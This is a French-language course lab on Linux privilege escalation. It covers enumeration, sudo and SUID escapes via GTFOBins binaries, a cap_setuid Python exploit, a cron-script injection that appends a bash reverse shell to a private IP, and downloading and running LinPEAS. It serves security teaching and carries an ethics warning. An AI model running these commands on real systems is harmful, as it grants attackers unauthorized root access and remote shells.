Lab 9.1: Escalade de Privilèges Linux
Objectifs d'Apprentissage
À la fin de ce laboratoire, vous serez capable de:
- Énumérer un système Linux pour trouver des vecteurs d'escalade
- Exploiter les binaires SUID/SGID mal configurés
- Exploiter sudo mal configuré
- Utiliser GTFOBins pour exploitation de binaires
- Exploiter des capabilities Linux
- Exploiter des tâches cron mal sécurisées
- Utiliser LinPEAS pour automatisation
- Passer de user standard à root en quelques minutes
Durée Estimée
40 minutes
Prérequis
- VM Linux (Ubuntu/Debian) ou WSL
- Compte user standard
- Accès à un compte avec sudo (pour setup)
- Compréhension de base de Linux
Contexte Professionnel
L'escalade de privilèges Linux est essentielle en:
- Tests de pénétration
- CTF et compétitions
- Audit de sécurité
- Red Team exercises
Utilisé après:
- Exploitation initiale (web shell, SSH compromis)
- Pour obtenir root et contrôle total
AVERTISSEMENT ÉTHIQUE ET LÉGAL
Techniques d'escalade pour obtenir root sans autorisation = Crime informatique.
AUTORISÉ:
- VM de test
- Plateformes légales (TryHackMe, HackTheBox)
- Tests autorisés
INTERDIT:
- Serveurs réels sans permission
- Escalade non autorisée
Partie 1: Énumération Linux
Commandes Essentielles
Informations système:
uname -a # Kernel version
cat /etc/os-release # Distribution
hostname # Nom machine
id # Votre UID/GID
whoami # Nom utilisateur
Permissions et sudo:
sudo -l # Commandes sudo autorisées
cat /etc/sudoers # Configuration sudo (si lisible)
Résultat typique sudo -l:
User user1 may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim
CRITIQUE: User peut exécuter vim en tant que root sans mot de passe!
Recherche fichiers SUID:
find / -perm -4000 2>/dev/null
Résultat:
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find ← DANGEREUX SI MAL CONFIGURÉ
/usr/bin/vim.basic ← TRÈS DANGEREUX
Questions:
- Quelle version de kernel votre système utilise-t-il?
- Quelles commandes sudo pouvez-vous exécuter?
Partie 2: Exploitation de Sudo
Sudo avec NOPASSWD
Si sudo -l affiche:
(ALL) NOPASSWD: /usr/bin/vim
Exploitation via GTFOBins:
Visitez: https://gtfobins.github.io/gtfobins/vim/
Payload:
sudo vim -c ':!/bin/bash'
Ou:
sudo vim
:set shell=/bin/bash
:shell
BOOM! Shell root!
Vérifiez:
whoami
id
Résultat: root
De user à root en 10 secondes!
Autres Binaires Exploitables
find:
sudo find /etc -exec /bin/bash \;
awk:
sudo awk 'BEGIN {system("/bin/bash")}'
less:
sudo less /etc/hosts
!bash
python:
sudo python -c 'import os; os.system("/bin/bash")'
Questions: 3. L'exploitation de sudo a-t-elle fonctionné? 4. Quel binaire avez-vous exploité?
Partie 3: Binaires SUID
Trouver SUID Dangereux
Recherche:
find / -perm -4000 2>/dev/null
Binaires SUID légitimes (normaux):
- /usr/bin/passwd
- /usr/bin/sudo
- /usr/bin/su
Binaires SUID DANGEREUX (si présents):
- /usr/bin/find
- /usr/bin/vim
- /usr/bin/python
- /usr/bin/bash
- /usr/bin/more
- /usr/bin/less
Si find est SUID:
/usr/bin/find /etc -exec /bin/bash -p \;
Option -p: Preserve SUID (reste root!)
Questions: 5. Quels binaires SUID avez-vous trouvés? 6. Lesquels sont exploitables selon GTFOBins?
Partie 4: Capabilities Linux
Lister Capabilities
getcap -r / 2>/dev/null
Résultat typique:
/usr/bin/python3.8 = cap_setuid+ep
cap_setuid: Permet de changer UID!
Exploitation:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Root obtenu!
Questions: 7. Des binaires avec capabilities dangereuses sont-ils présents?
Partie 5: Cron Jobs
Trouver Cron Jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
Si script cron est writable:
echo "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" >> /path/to/cron_script.sh
Attendre exécution: Shell root!
Partie 6: Automatisation avec LinPEAS
Installation
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Scan complet automatique!
Résultat:
- Toutes les vulnérabilités listées
- Code couleur (rouge = critique)
- Suggestions d'exploitation
Livrables
- Rapport avec escalade réussie user à root
- Méthode utilisée (sudo, SUID, capabilities)
- Temps mesuré pour escalade
- Output LinPEAS complet
Conclusion
Techniques maîtrisées:
- Énumération Linux complète
- Exploitation sudo
- SUID exploitation
- Capabilities
- Automatisation LinPEAS
Temps typique d'escalade: 5-15 minutes avec énumération!
Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 9